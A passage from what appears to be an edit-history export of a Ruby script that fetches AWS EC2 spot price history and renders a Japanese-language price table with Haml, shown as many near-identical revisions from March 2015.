'2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n =is.to_json\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:24:13.000Z","updated_at":"2015-03-09T15:24:13.000Z"},{"id":2822,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]\r\n %td=i[:desc]\r\n %td=i[:price]\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:26:10.000Z","updated_at":"2015-03-09T15:26:10.000Z"},{"id":2823,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td #{i[:name]}\u0026nbsp;\r\n %td=i[:desc]\r\n %td=i[:price]\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:26:34.000Z","updated_at":"2015-03-09T15:26:34.000Z"},{"id":2824,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=\"#{i[:name]} \u0026nbsp;\"\r\n %td=i[:desc]\r\n %td=i[:price]\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:26:53.000Z","updated_at":"2015-03-09T15:26:53.000Z"},{"id":2825,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"\u0026nbsp;\"\r\n %td=i[:desc]\r\n %td=i[:price]\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:27:14.000Z","updated_at":"2015-03-09T15:27:14.000Z"},{"id":2826,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:desc]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:price]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:27:35.000Z","updated_at":"2015-03-09T15:27:35.000Z"},{"id":2827,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:desc]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:price].to_s+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:27:44.000Z","updated_at":"2015-03-09T15:27:44.000Z"},{"id":2828,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title Radar\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:desc]+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:price].to_s+\"\u0026nbsp;\u0026nbsp;\"\r\n %td=i[:az]\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:28:16.000Z","updated_at":"2015-03-09T15:28:16.000Z"},{"id":2829,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GV']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:az]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:30:23.000Z","updated_at":"2015-03-09T15:30:23.000Z"},{"id":2830,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:az]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:32:08.000Z","updated_at":"2015-03-09T15:32:08.000Z"},{"id":2831,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n {name: x.first, desc: x.last, price: ppoi.first, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:az]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-03-09T15:36:13.000Z","updated_at":"2015-03-09T15:36:13.000Z"},{"id":2832,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n mini = mini_price(x.first)\r\n {name: x.first, desc: x.last, price: ppoi.first, mini: mini, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最安 AZ\r\n 